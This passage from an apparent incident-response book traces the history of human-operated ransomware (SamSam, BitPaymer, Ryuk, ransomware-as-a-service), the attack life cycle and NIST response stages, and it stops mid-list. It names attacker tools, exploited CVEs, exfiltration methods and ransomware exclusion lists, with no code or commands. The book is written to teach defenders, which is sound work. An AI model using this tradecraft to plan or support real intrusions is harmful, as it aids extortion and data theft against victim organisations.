Chapter 1: The History of Human-Operated Ransomware Attacks

Just like COVID-19, human-operated ransomware attacks became the second pandemic in 2020. Unfortunately, this trend keeps evolving nowadays. Despite the fact some threat actors announce their retirement, their places in the cybercrime business are quickly occupied by the younger generation.

Such attacks are discussed a lot nowadays; however, they emerged even before well-known ransomware outbreaks, such as WannaCry and NotPetya. Unlike those uncontrolled ransomware outbreaks, this time it's under the full control of various ransomware operators and their affiliates. Careful reconnaissance of compromised infrastructure, preparing it for final ransomware deployment, can potentially bring them millions of dollars in cryptocurrency.

Of course, there are multiple notable examples of ransomware strains used in human-operated attacks. In this chapter, we'll focus on the most important examples from a historic point of view, finishing on what's most common for today's threat landscape – ransomware-as-a-service programs.

We'll look at the following examples:

2016 – SamSam ransomware

2017 – BitPaymer ransomware

2018 – Ryuk ransomware

2019-present – ransomware-as-a-service programs

2016 – SamSam ransomware

These ransomware operators emerged in early 2016 and changed the ransomware threat landscape drastically. They didn't focus on regular users and single devices; instead, they attacked various companies, focusing on a human-operated approach, moving laterally and encrypting as many devices as possible, including those with the most important data.

The targets were very different and included the healthcare industry, the education sector, and even whole cities. A notable example was the city of Atlanta, Georgia, which took place in March 2018. As the result, the city had to pay approximately $2.7 million to contractors to recover its infrastructure.

The group commonly exploited vulnerabilities in public-facing applications, for example, JBOSS systems, or just brute-forced RDP-servers to gain the initial foothold to the target network.

To elevate privileges, the threat actors used a number of common hacking tools and exploits, including the notorious Mimikatz, so they could obtain domain administrator credentials.

Having elevated credentials, SamSam operators just scanned the network to obtain information about available hosts, then copied a piece of ransomware to each of them and ran it with help of another very common dual-use tool – PsExec.

The attackers had a payment website in the dark web. A victim could find all the necessary information on file decryption in the ransom note generated by the ransomware, as shown in Figure 1.1:

Figure 1.1 – SamSam ransom note example

Being active from 2016 to 2018, the group earned approximately $6 million, according to Sophos (source: https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf).

Who was behind the SamSam ransomware

On November 28, 2018, the FBI unsealed an indictment charging Faramarz Shahi Savandi and Mohammad Mehdi Shah Mansouri with deploying SamSam ransomware internationally:

Figure 1.2 – An excerpt from an FBI Wanted poster

Both subjects are from Iran. After the indictment was unsealed, the threat actors managed to finish their malicious activities, at least under the name SamSam.

These threat actors showed others that enterprise ransomware attacks may be very profitable, so more and more groups emerged. One example is the BitPaymer ransomware.

2017 – BitPaymer ransomware

The BitPaymer ransomware is associated with Evil Corp – a cybercrime group believed to be of Russian origin. This ransomware strain introduced another trend in human-operated attacks – Big Game Hunting.

Everything started in August 2017, when BitPaymer operators successfully attacked a few hospitals from the NHS Lanarkshire board, demanding the astronomical ransom payment of $230,000 or 53 BTC.

To obtain the initial access to the target network, the group leveraged their long-standing tool – the Dridex trojan. The trojan allowed them to load PowerShell Empire – a popular post-exploitation framework – so the threat actor could move laterally through the network, and obtain elevated credentials, including with the use of Mimikatz, just like the SamSam operators.

To deploy the ransomware enterprise-wide, the threat actors leveraged a Group Policy modification, which allowed them to push a script on each host to run a piece of ransomware.

As the means of communication, the threat actors offered both emails and online chats; both could be found in the ransom note:

Figure 1.3 – BitPaymer ransom note example

In June 2019, a new ransomware was born from BitPaymer, called DoppelPaymer. It is believed that this specific ransomware was operated by a spin-off group from Evil Corp (source: https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/).

The mastermind behind the BitPaymer ransomware

On November 13, 2019, the FBI released an indictment charging Maksim Viktorovich Yakubets and Igor Olegovich Turashev with managing Dridex trojan operations:

Figure 1.4 – Excerpts from FBI Wanted posters

Maksim Viktorovich Yakubets is currently wanted for multiple counts of cybercriminal activity. According to various sources, it is stated that there is a $5 million reward for the apprehension of Maksim. Of course, Dridex was not the only trojan used in human-operated ransomware attacks. Another notable example is Trickbot, which is tightly connected to the Ryuk ransomware.

2018 – Ryuk ransomware

The Ryuk ransomware took Big Game Hunting to new heights. Associated with the Trickbot group, also known as Wizard Spider, this ransomware strain is still active today.

Throughout its history, the group has attacked various organizations and made at least $150 million, according to AdvIntel (source: https://www.advanced-intel.com/post/crime-laundering-primer-inside-ryuk-crime-crypto-ledger-risky-asian-crypto-traders).

For quite some time, it was called triple threat, as typically such infections started from the Emotet trojan, which loaded Trickbot, which was used for downloading post-exploitation tools and final ransomware deployment. Usually, Trickbot was used to download a PowerShell Empire agent or a Cobalt Strike Beacon – another extremely popular post-exploitation framework.

Recently, the group changed the toolset and started to use a new trojan called Bazar. Interestingly enough, they started to use vishing (voice phishing) in their distribution scheme. The phishing emails don't contain any malicious files or links, just some information about a fake paid subscription and a phone number to call to cancel it. If a victim calls the number, the operator guides him or her to download a weaponized Microsoft Office file, open it, and enable the macros, so the computer is infected with Bazar. Just like with Trickbot, the trojan is used to download and execute a post-exploitation framework – most commonly, Cobalt Strike.

To deploy Ryuk, the threat actors leveraged multiple techniques, including the previously mentioned PsExec and Group Policy modification.

First, they provided emails to allow the victims to contact them, but soon started to use Tor onion services:

Figure 1.5 – Instructions embedded into the ransom note

Ryuk ransomware operators are still active, and, according to AdvIntel and HYAS, have earned more than $150 million (source: https://www.advanced-intel.com/post/crime-laundering-primer-inside-ryuk-crime-crypto-ledger-risky-asian-crypto-traders).

Who was behind the Ryuk ransomware?

On June 4, 2021, the FBI released an indictment charging Alla Witte, aka Max, for being involved in a transnational organization responsible for creating and deploying the Trickbot trojan and ransomware.

Some other Ryuk-related threat actors were the Emotet botnet operators. They were arrested in January 2021 as the result of a collaborative operation between law enforcement in the Netherlands, Germany, the United States, the United Kingdom, France, Lithuania, Canada, and Ukraine. As a result, the authorities took full control of the botnet's infrastructure.

One of the most notable things was what exactly the Emotet operators' workplace looked like:

Figure 1.6 – Emotet operators' workplace

More insights are available in the following video: https://www.youtube.com/watch?v=\_BLOmClsSpc.

Despite the fact that threat actors are being arrested, more and more cybercriminals want to join the big game. So, another phenomenon has emerged – ransomware-as-a-service.

2019-present – ransomware-as-a-service

2019 was the year of the rise of ransomware-as-a-service programs, and it is still the main trend today. Multiple ransomware developers started to offer their products to various threat actors in exchange for a percentage of the ransom received.

REvil, LockBit, Ragnar Locker, Nefilim – these are just some of the ransomware families distributed under the ransomware-as-a-service model. Although multiple threat actors may use the same ransomware strain, their tactics, techniques, and procedures may be very diverse.

At the same time, nowadays most ransomware-as-a-service programs affiliates share the same approach – they exfiltrate data before actual ransomware deployment. The trendsetters for this technique were the Maze ransomware affiliates back in 2019, but nowadays almost all threat actors involved in such attacks have their own Data Leak Site (DLS).

Here is an example of a DLS used by DoppelPaymer ransomware affiliates:

Figure 1.7 – DoppelPaymer's DLS

Usually, affiliates do not perform the whole attack life cycle, but rather use other threat actors' services. For example, threat actors may cooperate with initial access brokers, who provide them with access to compromised corporate networks. In some cases, they may pay additional pentesters for privilege escalation or defense evasion, so they can deploy ransomware enterprise-wide and nothing can stop them.

Depending on the role, the threat actors involved in the project may receive various percentages from the obtained ransom payment. Usually, ransomware developers, who run the program, receive around 20%, affiliates receive around 50%, initial access brokers 10%, and the rest goes to additionally hired threat actors, for example pentesters or negotiators.

Ransomware-as-a-service is extremely common nowadays. According to Group-IB's report Ransomware Uncovered 2020/2021 (https://www.group-ib.com/resources/threat-research/ransomware-2021.html), 64% of all ransomware attacks were performed in 2020 by RaaS affiliates.

Who was behind ransomware-as-a-service programs?

One of the NetWalker ransomware affiliates, Sebastien Vachon-Desjardins, who is a Canadian national, was charged in January 2021, and is alleged to have raked in more than $27.6 million overall from his ransomware activities.

Another example is a couple of Egregor ransomware affiliates, who were arrested in Ukraine with help of French authorities, who traced ransom payments to them.

Another example is the Cl0p ransomware affiliates, who helped threat actors with money laundering, and were also arrested in Ukraine in June 2021. There's a video available from this operation at https://youtu.be/PqGaZgepNTE.

As you can see, ransomware-as-a-service programs allowed many cybercriminals to join the big game with ease, even if they lacked skills and capabilities. Of course, this fact played an important role in making human-operated ransomware attacks the cyberpandemic.

Summary

In this chapter, you've walked through the history of modern human-operated ransomware attacks and learned a bit about threat actors' tactics, techniques, and procedures, their business model, and even some people who were behind such attacks.

In the next chapter, we will dive into the modern human-operated ransomware threat landscape, focusing on the attack life cycle, from obtaining the initial access to actual ransomware deployment.

Chapter 2: The Life Cycle of a Human-Operated Ransomware Attack

Human-operated ransomware attacks may be very complex, especially if we are talking about Big Game Hunting – attacks on huge enterprises. So, before diving into the technical details, it's very important to understand the life cycle of a typical attack. Understanding the attack life cycle helps security professionals to both perform proper reconstruction of an incident and make adequate decisions at various stages of the incident response life cycle.

As you already know from Chapter 1, The History of Human-Operated Ransomware Attacks, a ransomware strain can be operated by a group or multiple threat actors, if we are talking about ransomware-as-a-service programs. What does this mean? Tactics, techniques, and procedures may be quite different, but for most cases the attack life cycle will still be quite similar, as threat actors usually have two main goals – to exfiltrate sensitive information out of the target network and to deploy a piece of ransomware enterprise-wide.

In this chapter, we'll briefly discuss the various stages of human-operated ransomware attacks, so you have a solid understanding of these attacks' life cycle and be ready to dive into the technical details.

In this chapter, we'll look at the following topics:

Initial attack vectors

Post-exploitation

Data exfiltration

Ransomware deployment

Initial attack vectors

Any attack starts from an initial access. It can be an access to the internal network via a VPN, a trojan delivered via spear phishing, a web shell deployed via exploitation of public-facing application, or even a supply-chain attack.

At the same time, the three most common initial attack vectors are RDP compromise, spear phishing, and exploitation of software vulnerabilities.

For example, here are some statistics on the most common ransomware attack vectors in Q2 2021 collected by Coveware (source: https://www.coveware.com/blog/2021/7/23/q2-ransom-payment-amounts-decline-as-ransomware-becomes-a-national-security-priority):

Figure 2.1 – The most common ransomware attack vectors according to Coveware

Let's look at each of them in greater detail, with examples, of course.

RDP compromise

For many years, RDP has remained the most common way for threat actors to access the target network. From Chapter 1, The History of Human-Operated Ransomware Attacks, you already know that it was the preferred way of initial access for the human-operated ransomware attacks pioneers – the SamSam operators. Of course, SamSam isn't the only example. Currently, you can see a wide range of threat actors leveraging this vector, from the more opportunistic, such as the Dharma ransomware, to the more targeted, such as REvil.

The pandemic made it even worse, as many companies had to think about providing their employees with the capability for remote working, so even more servers were exposed to the internet and, of course, became targets for threat actors of different kinds, including ransomware operators.

For example, if we use Shodan to search for publicly exposed servers with port 3389 open (the default port for RDP), we immediately see millions of devices:

Figure 2.2 – The number of devices with port 3389 exposed to the internet

As you can see, even such a simple query gives us millions of results – this is one of the reasons this initial attack vector is so popular among ransomware operators.

In fact, threat actors do not always attempt to attack such servers themselves. They can simply buy such access, especially if we are talking about ransomware-as-a-service program affiliates. Such threat actors may not only rent ransomware, but also buy access to corporate networks from other actors, who are commonly referred to as initial access brokers. Usually, they don't focus a lot on post-exploitation activities, but rather sell initial access or even give it away for a percentage, usually up to 10%, of the potential ransom payment.

Sometimes, ransomware operators even start topics on underground forums to attract attention from the initial access brokers. For example, here's a post collected by Group-IB's Threat Intelligence and Attribution Platform, showing Crylock ransomware operators are interested in buying various types of access to corporate networks:

Figure 2.3 – A post on an underground forum

Let's move on and look at another extremely popular initial attack vector – spear phishing.

Spear phishing

Spear phishing, that is, using social engineering to trick targeted users into opening malicious attachments or clicking links, may be used by threat actors both to harvest credentials, which potentially could be used to gain VPN access to the target network due to password reuse, or, as you already know from Chapter 1, The History of Human-Operated Ransomware Attacks, to infect a device with a trojan.

It's true that many threat actors who used such malware mostly for banking fraud back in the day, now also use it for gaining initial access to enterprise networks.

The most common examples of such trojans include the following:

BazarLoader

Hancitor

IcedID

Qakbot

Trickbot

Of course, this isn't a full list but, again, these are just the most common examples often observed in-the-wild as ransomware precursors.

Usually, the operators of such trojans use massive spam campaigns, targeting mainly enterprise users. The most common technique used is thread hijacking – the threat actors use compromised email addresses to send a malicious document as the reply to a previously sent legitimate email:

Figure 2.4 – An example of thread hijacking leveraged by Qakbot operators

In some cases, the threat actors use even more sophisticated techniques: from Chapter 1, The History of Human-Operated Ransomware Attacks, you learned that BazarLoader operators also leveraged vishing (voice phishing) in their delivery schemes.

Here's an example of such an email:

Figure 2.5 – An example of a phishing email aiming to distribute BazarLoader

As you can see, there are no malicious attachments in this case. Instead, the threat actors tells the victim not to reply to this email and to use the customer support phone number to contact the fake company and cancel the subscription.

If the victim calls, threat actors from the fake call center will guide him or her to a website where a malicious document is located, and even guide the victim to open it and enable the macros, so BazarLoader is downloaded and executed.

More technical details on the execution and persistence techniques of such trojans will be covered in the follow-up chapters; for now, just remember that they can be used by threat actors to download additional tools to the initially compromised host, so they can perform post-exploitation activities, resulting in obtaining the capability to use privileged accounts and move laterally through the network.

OK, let's finish our initial attack vectors overview by looking at various software vulnerabilities enabling ransomware operators to gain access to the target network.

Software vulnerabilities

Software vulnerabilities have allowed many initial access brokers to earn hundreds of thousands of dollars, but ransomware-as-a-service programs' affiliates have earned even more – millions.

Of course, not every vulnerability allows a threat actor to gain initial access to the network. Most commonly, these are vulnerabilities that enable remote code execution or expose files with credentials.

A good example of a vulnerability is Pulse Secure VPN appliances. For example, CVE-2019-11510 allowed threat actors to obtain usernames and plaintext passwords from vulnerable appliances to be used for accessing the network.

Another similar vulnerability actively leveraged by ransomware operators is CVE-2018-13379 in FortiGate VPN servers. It also allows an attacker to read files with plaintext credentials.

CVE-2019-19781 exploitation in Citrix ADC and Gateway instances was also a common technique for many ransomware gangs – it allowed the threat actors to download and execute malicious code remotely and perform other post-exploitation activities.

One more example is the multiple vulnerabilities in Accellion Legacy File Transfer Appliance exploited by the Cl0p ransomware gang, which included CVE-2021-27101, CVE-2021-27102, CVE-2021-27103, and CVE-2021-27104.

Finally, in some cases, threat actors manage to use even zero-day vulnerabilities – vulnerabilities in systems or devices that have been disclosed but not patched yet. In July 2021, some of the REvil affiliates successfully exploited multiple vulnerabilities in Kaseya's VSA remote management service and launched a malicious update package resulting in ransomware deployment. It affected lots of Kaseya's customers, including managed service providers, so the attackers asked for a really outstanding ransom – $70 million:

Figure 2.6 – Information about the attack on REvil's DLS

Of course, obtaining the initial access to the network isn't all – in most cases, the attackers have to elevate privileges, dump credentials, and perform network reconnaissance and other post-exploitation activities.

Post-exploitation

It can be noted and observed that gaining network access isn't the entire end game. In many cases, the threat actors still don't know much about the network, and may have access to accounts with limited privileges, so they can't disable security controls and move laterally to start achieving their goals, such as data exfiltration and ransomware deployment.

Of course, post-exploitation steps depend on the type of access. If the threat actors have VPN access, for example, they may want to scan the network for vulnerabilities, which may enable lateral movement for them.

You may be really surprised, but the notorious EternalBlue (CVE-2017-0144) is still extremely common for many enterprise networks, even if we are talking about really big enterprises.

Another very common vulnerability exploited by various ransomware operators is Zerologon (CVE-2020-1472). It allows the attackers to obtain access to the domain controller with a few clicks!

Those who rely on various trojans usually start by abusing built-in Windows tools for network and Active Directory reconnaissance, such as net.exe, nltest, and others, then continue with third-party tools downloaded to the initially compromised host. The most common examples are the following:

AdFind

Bloodhound (Sharphound)

ADRecon

These tools allow the threat actors to collect information about users and groups, computers, subnets, domain trusts, and even to identify relationships within Active Directory!

If the attackers have obtained access to an initially compromised host via RDP, they usually use a wide range of tools – from network scanners to password dumpers. Some of most common tools are the following:

SoftPerfect Network Scanner

Advanced IP Scanner

Mimikatz

LaZagne

Process Hacker

ProcDump

NLBrute

In some cases, especially if the attackers got the initial access to a server, they may obtain elevated credentials almost immediately, using parts of the downloaded toolset to, for example, dump a Local Security Authority Subsystem Service (LSASS) process.

Another typical characteristic of modern human-operated ransomware attacks is heavy usage of various post-exploitation frameworks. I'm almost certain you've heard about Cobalt Strike! It's the most common framework used not only by cybercriminals, but even by state-sponsored threat actors.

Of course, it's only one example. If you are responding to human-operated ransomware attacks, you may also spot the following:

Metasploit

PowerShell Empire

CrackMapExec

Koadic

PoshC2

These toolsets allow ransomware operators to solve various tasks: scan the network, elevate privileges, dump credentials, download and execute third-party tools and scripts, move laterally using various techniques, and more.

Another important step for threat actors is to maintain redundant access. For example, they may distribute the trojans they used for initial access, run post-exploitation framework payloads on remote hosts and just install legitimate remote access software, such as TeamViewer, on some servers with internet access.

Once they learn enough about the network they have broken into and obtained elevated credentials, it's time to start achieving the main goals – exfiltrating data and deploying ransomware.

Data exfiltration

Data exfiltration is sometimes referred to as data extrusion, data exportation, or data theft, and it's extremely popular among ransomware affiliates. Almost any threat actor involved in human-operated ransomware attacks has its own Dedicated Leak Site (DLS). They use such websites to publish information about successful attacks and even exfiltrated data if a company refuses to pay the ransom.

The amount of exfiltrated data may be very different. In some cases, it's just a few gigabytes, while in others it may be terabytes. Exfiltrated data may include credit card information, Social Security numbers (SSNs), Personal Identifiable Information (PII), Protected Health Information (PHI), and National Provider Identifiers (NPIs), but are not limited to company private information and proprietary information.

Here's an example of a DLS that belongs to the Conti ransomware:

Figure 2.7 – Conti ransomware DLS

Most such websites are located on the dark web and can be accessed, for example, via Tor Browser. If you want to track changes on such websites using a regular web browser, it may be a good idea to use the Ransomwatch project (https://www.ransomwatch.org/). This website automatically captures and publishes screenshots of active DLSes belonging to various ransomware operators.

Threat actors may spend quite a lot of time exfiltrating data from the compromised network – it may continue even for a few months. Also, during this time, they may find more and more sensitive data, as well as plant additional backdoors to regain access to the compromised network environment, for example, if the initial access technique is detected and access is blocked.

Typically, there are two approaches to data exfiltration. First, the threat actors may set up a server for such purposes, or even use the same servers they use to perform the actual attack, for example, using post-exploitation frameworks.

In such cases, the attackers commonly use legitimate tools for data exfiltration, for example, WinSCP or FileZilla. Such legitimate tools may be extremely hard to detect, especially if an organization doesn't have a dedicated monitoring team as part of its security team that uses a threat-hunting approach during their day-to-day activities.

Of course, they usually collect data first, but in some cases, it can be exfiltrated directly from a file server even without archiving.

Another approach is to use public cloud storage, such as MEGA, DropMeFiles, and others. The same storage can be used by the threat actors to publish data on their DLS.

For example, here's data exfiltrated by Everest ransomware affiliates from one of their victims, which was uploaded to DropMeFiles:

Figure 2.8 – Exfiltrated data published by Everest ransomware affiliates

To exfiltrate data this way, the threat actors may use a regular web browser or, in some cases, corresponding client applications. For example, Nefilim ransomware affiliates just installed MEGAsync on the target host and used it to exfiltrate data.

Another notable example is the Mount Locker affiliates. These threat actors used AWS S3 buckets to steal collected data. AWS and other cloud solutions are big pivot points in big targets for data exfiltration. Without the proper governance and oversight, AWS and other cloud solutions are a rich hunting ground for threat actors.

Once all sensitive data (at least from the attackers' point of view) is exfiltrated, the victim network is ready to be prepared for ransomware deployment.

Ransomware deployment

In your opinion, what's a ransomware operator's worst enemy? Yes, you're right, backups – secure and not tampered with backups. But they have a very bad weakness – they can be deleted by threat actors.

Unfortunately, system administrators often don't think about either the 3-2-1 rule (3 backup copies on 2 different media with 1 located offsite) or separate accounts and multi-factor authentication for the backup servers. What's more, nowadays, having proper secure backups isn't only important for ransomware mitigation, but also to ensure an organization meets industry regulatory requirements.

What does this mean? If the attackers obtain domain administrator credentials, they can easily access the backup servers and wipe all available backups. That's it, so the victim company has no other choice than to pay the ransom.

Also, talking about backups, some ransomware samples have built-in capabilities for wiping files with extension typical backup solutions. For example, here's a list of extensions for backup files wiped by TinyCryptor:

.vbm

.vib

.vbk

.bkf

.vlb

.vlm

.iso

You may be surprised, but the Windows operating system has a built-in backup mechanism called the Volume Shadow Copy Service. It creates backup copies of files or even volumes, so the user can restore them to the previous state.

Of course, ransomware operators have taken note of this Windows feature – most ransomware samples disable this service and remove available copies.

Backups aren't the only enemy of the ransomware operator. Another enemy is security solutions, as they may easily block ransomware execution – if they are operating properly, of course.

For example, threat actors can add a ransomware sample to exclusions, or just disable available security software. At this stage, the attackers commonly have domain administrator credentials, so they can deploy batch scripts abusing Group Policy to achieve this goal. Of course, it's not the only way. Another example is to use the security software's console to disable it.

Ransomware deployment can be achieved via various techniques, including Group Policy modification, using PsExec, or even manual dropping and execution – it depends on the threat actor.

Another important point – the system should be available, so the victim can get the email or portal link to communicate with the threat actors. That's why many ransomware samples have a list of system folders in the exclusion list. For example, here's an exclusion list from a Darkside ransomware sample:

$recycle.bin

config.msi

$windows.~bt

$windows.~ws

windows

appdata

application data

boot

google

mozilla

program files

program files (x86)

programdata

system volume information

tor browser

windows.old

intel

msocache

perflogs

x64dbg

public

all users

default

It is interesting that the list contains the tor browser folder. The thing is, Darkside had a portal for victims on the dark web, which is only accessible via Tor Browser.

Once ransomware has been deployed, the threat actors are ready to negotiate with the victim regarding the ransom amount. In some cases, there are separate ransom demands for decryption and removing exfiltrated data.

In rare cases, the attack may continue. For example, REvil ransomware affiliates are known to run DDoS attacks against victims who refuse to pay.

Summary

Now you have a solid understanding of a typical human-operated ransomware attack. Of course, from a tactics, techniques, and procedures perspective, such attacks may be very different, but the main goals are almost always the same – to take full control of the domain, exfiltrate the most sensitive data, and deploy ransomware.

In the next chapter, we will look at the incident response process, and look at each of six stages from the angle of modern human-operated ransomware attacks.

Chapter 3: The Incident Response Process

Now that you have reached this chapter, you should already have a good understanding of modern human-operated ransomware attacks, so you are ready to look at the incident response process. Of course, processes may be a bit boring to look at, but it's still very important to have solid understanding – it'll speed up your incident response!

What's more, rather than telling you the same story one more time, we will look at a classic incident response process, developed by National Institute of Standards and Technology (NIST), from a ransomware attack perspective and, of course, using real-world examples and experience.

It was introduced in Computer Security Incident Handling Guide by Paul Cichonski, Tom Millar, Tim Grance, and Karen Scarfone. Still, many incident response teams all around the globe are using it on a daily basis during their engagements. Again, I'm not going to retype this paper, rather share my opinions and experience, so you can understand it better when you are reading (or re-reading) the original.

In this chapter, we'll look at each stage of the incident response process and cover the following topics:

Preparation for an incident

Threat detection and analysis

Containment, eradication, and recovery

Post-incident activity

Preparation for an incident

Preparation is a vital part of the incident response process. And it's not only about the team. It's also about the impacted IT infrastructure. Just imagine you are responding to a ransomware-related incident, but all you have is a fully encrypted infrastructure with only default logging enabled and barely functioning antivirus software. Sounds surreal? But it's true for many incidents I have investigated during my career. Usually, companies don't think about their security until they are impacted.

Another important point is understanding that your infrastructure has lack of security controls and people. You don't need to wait for a real incident; in many cases, just a simple penetration testing assessment may show you are not well protected.

Some companies don't start to think about security even after a successful ransomware attack. And I have a good example – an Australian transportation and logistics company, the Toll Group. This company was attacked in February 2020 by Netwalker ransomware affiliates, but once they returned to normal operations in May, another group successfully attacked them – this time, some Nefilim ransomware affiliates.

As you can see, the ransomware threat landscape is very aggressive, so it's very important to be prepared from both the team and the infrastructure perspective.

The team

In fact, an organization may not even have an internal incident response team. Many vendors provide such services, so if there's an incident, a dedicated third-party team is ready to start identification and analysis, and provide instructions for remediation.

Also, an organization may have a Managed Detection and Response (MDR) service provider, so both monitoring and response are managed by a third-party team.

Of course, this is not always the case; a security team may form an incident response team if needed, or it may be a part of an internal Security Operations Center (SOC).

First of all, the team needs to have the capability to perform incident response. This may include the following:

Capability to collect data: It's very important during an incident response engagement to be able to collect the data you need. It may be just an artifact of a process creation, a full set of event logs, or registry files. That's why we always deploy our own XDR solution – Group-IB THF Huntpoint. Of course, this is just an example; there are a variety of different solutions on the market. The important thing is that the solution of choice should enable the capability to monitor the whole infrastructure, collect data from any host, and perform threat hunting activities if necessary. It's true that some of these tasks may be solved by the deployment of various scripts, but such an approach may be less efficient and may extend the incident response engagement time significantly.

Capability to analyze data: Collecting data is important, but analysis is even more important. Again, XDR data may save you a lot of time, but if it's not available, you have to use various digital forensic tools, both commercial and open source. Of course, such tools accelerate your processing speed, but not analysis – as analysis is always performed by a human, just like the ransomware attacks we are talking about. Another important point is access to some good sources of cyberthreat intelligence – this will speed up your analysis and give you an understanding of what exactly you are looking for. And finally, training. This can be of different forms: instructor-led, prerecorded, webinars, even just reading a good threat research report or a book counts, but you are already reading this book, so you understand this even without my tips.

Capability to communicate: Another very important point is communication. It's better to split the role within the incident response team. At least, choose a person responsible for communication with management, and another person responsible for communication with technical personnel.

Now let's look at infrastructure from a preparation perspective.

The infrastructure

It's important to note that this is applicable only if you are a part of an internal incident response team, so can communicate with other teams and provide them with recommendations for tuning IT infrastructure.

The worst thing you deal with during incident response engagements is a lack of logging and communication. OK, maybe not really a lack of, but a log shortage for sure. As you already know, in some cases the threat actors may spend weeks in the infrastructure before actual ransomware deployment, so to track them back to the initially compromised host, you'd better have the logs for this period.

So, how does it work in reality? Let's say you've found an evidence of a Cobalt Strike Beacon stager run on the host via a jump psexec\_psh. It's super common. And the most common artifact is a new service creation event, ID 7045, in the system log. Usually, the first question is what is the source of execution? To tell the truth, it's not very hard to find it, for example, using logon, ID 4624, event from the security log. But here comes the problem – you found that the service was created 2 weeks ago, but you have logs in security only for the last 3 days.

Let's look at another example – a firewall. Yes, firewalls don't stop dragons, but still may be very useful during your incident response engagements. Of course, if you have logs for the period of interest.

There was a case in my practice where we identified all initially accessed hosts in an hour. The threat actors used spear phishing emails with weaponized attachments to gain the initial access, but unlike many other adversaries, they attacked not one host, but four. We managed to find one of them quickly as it was used for ransomware deployment, and we found out that the host was compromised 4 months ago. The company had really good logging capabilities, so we could go back to the period in question and identify three more hosts based on command and control server communications! If we had not been able to use such logs, it may have taken much more time, and the threat actors may have decided to shift tactics, techniques, and procedures (TTPs), implanting new backdoors.

I think it's already quite clear that proper logging is crucial for any incident response engagement. If logging and logging retention is not present, make sure you develop and roadmap this within your organization. There are mandated rules and regulations that require businesses to retain a certain number of logs. Each business industry is different, so take the time to find out which rules your business line has to comply with.

Another important infrastructure-related aspect is the security products in place. I already mentioned XDR. And, of course, you may ask, why XDR, there're so many different solutions on the market? The thing is, you can use it for monitoring, threat hunting, forensic data collection, and, what's really important, blocking malicious files and isolating compromised hosts! Yes, Security Information and Event Management (SIEM) may also enable monitoring, alerting, and threat hunting, but not blocking malicious files and isolating hosts, and this is extremely important, especially if we are talking about ransomware attacks. At the same time, SIEM may offer you the ability to store logs for quite a long period of time, so if you are dealing with a long-term incident, having a properly configured SIEM may be extremely important.

Of course, it's not simply about XDR, it's just the most modern and effective tool for incident prevention and response. The more tools you have, the easier it is for you to deal with incidents.

Now it's time to move on and look at the detection and analysis stages.

Threat detection and analysis

These are the two most important stages of the incident response process. Why? If your detection and analysis fails, you will most likely find your or your client's infrastructure encrypted by some ransomware affiliates. Of course, it's not the case if your client detected the attack when he or she saw a ransom note on a computer screen. And yes, this is a very common example.

So, generally, you may face one of two scenarios: everything is already encrypted and you need to reconstruct the attack, or there is only a ransomware precursor, so it must be contained and remediated as fast as possible.

Usually, if you are dealing with impact, it's not really difficult to understand what ransomware strain you are dealing with – just look inside the ransom note.

Nowadays, many of them contain links to portals where victims can communicate with the threat actors:

Figure 3.1 – BlackMatter ransomware portal

As you can see in the preceding screenshot, such portals provide a lot of information to the victim, including ransom amount, payment details, exfiltrated data, and even test decryption capabilities and chat support. But what's more important is that we can see the name of ransomware family on top – BlackMatter.

Using this information, we can go further and try to understand which TTPs are commonly used by this threat actor.

Of course, you can collect some information from various public sources; we'll talk about this in detail in Chapter 6, Collecting Ransomware-Related Cyber Threat Intelligence.

Having access to some of commercial cyberthreat intelligence platforms may also be a very good option:

Figure 3.2 – BlackMatter profile in the Group-IB Threat Intelligence & Attribution platform

Why is it a good option? Such platforms already contain lots of information on ransomware threat actors on all levels – strategic, operational, and tactical.

So, you'll find information about ransomware affiliates' TTPs, including the tools they use, the vulnerabilities they exploit, and so on. Also, you'll find lots of different indicators of compromise, such as hashes, filenames, and IP addresses. Finally, usually there's information about targeted countries and industries. We'll discuss cyberthreat intelligence in more detail in Chapter 4, Cyber Threat Intelligence and Ransomware.

With all this information, it's really easy to generate a hypothesis about how the compromised network was accessed initially, and what the threat actors used for privilege escalation, credentials access, lateral movement, and so on.

Let's look one of the examples we have already discussed in the previous chapters, Ryuk ransomware.

As you remember, now we are facing a situation in which ransom notes are already all around the enterprise, and files are already encrypted.

You may want to find the source of ransomware deployment, and the technique used, of course. To tell the truth, in many cases with Ryuk, it's deployed from a domain controller. Let's say you've thankfully found which one. But here's the problem: due to the log shortage, you don't see the source of connection to this server.

But you've analyzed the cyberthreat intelligence you have and found out that Ryuk affiliates commonly use tools such as Cobalt Strike, AdFind, and Bloodhound, and gain initial access to the networks using spear phishing emails, delivering Trickbot or BazarLoader.

Now there's a lot to look for! As you already know, various post-exploitation frameworks, such as Cobalt Strike, are extremely popular among ransomware affiliates, and, thankfully, they leave lots of forensic artifacts we can search for during incident response engagements. You'll learn more about forensic artifact sources in Chapter 7, Digital Forensic Artifacts and Their Main Sources.

It's important to note that information on the threat actors' TTPs is valuable not only during incident response engagement, but also for prevention, so each time you or your team members find some information on attacker's behaviors, security controls should be tuned accordingly.

Let's look at the same incident from another point of view. Ransomware isn't deployed yet, but there are some precursors. What could these be?

We already know that threat actors commonly use Trickbot or BazarLoader to gain initial access to the network. So, any detection related to this threat should catch our attention, for example, an alert from antivirus software. These security products can be useful even in the previously discussed situation – usually, threat actors use various tools; some of them may be undetected, but others – not. So, such events may also give you some clues to where the attackers were during post-exploitation.

Also, it's very important to isolate the workstation (if it's possible and won't impact business processes, of course) and check whether there any other undetected artifacts. For example, a BazarLoader sample was successfully detected and removed, but Cobalt Strike Beacon has stayed in the memory or the threat actors have already moved laterally.

The same can be said about evidence pointing to network or Active Directory reconnaissance. If you detect such activity, for example, AdFind usage, it's extremely important to understand whether it's legit or not, and apply corresponding measures.

This is not the whole list of examples, of course; we'll discuss this in more detail in Chapter 5, Understanding Ransomware Affiliates' Tactics, Techniques, and Procedures.

OK, let's move on to containment, eradication, and recovery.

Containment, eradication, and recovery

Once you have a good understanding of the attack you are dealing with, it's time to apply some containment measures.

The most common thing you can do is to block connections to the command and control servers. Without this, the threat actors can hardly do any harm to the network – of course, if they didn't deploy some scheduled tasks, for example, which'll run another backdoor with another command and control server.

So, it may be a good idea to isolate the whole network from the internet. But, of course, it depends on the stage of the attack life cycle. If you managed to detect it at an early stage, isolating the whole network may not really be a good idea, but if the threat actors spent a month inside, well, why not!

Another thing many ransomware affiliates commonly use is legitimate remote access applications. Here are some examples commonly seen during ransomware incident response engagements:

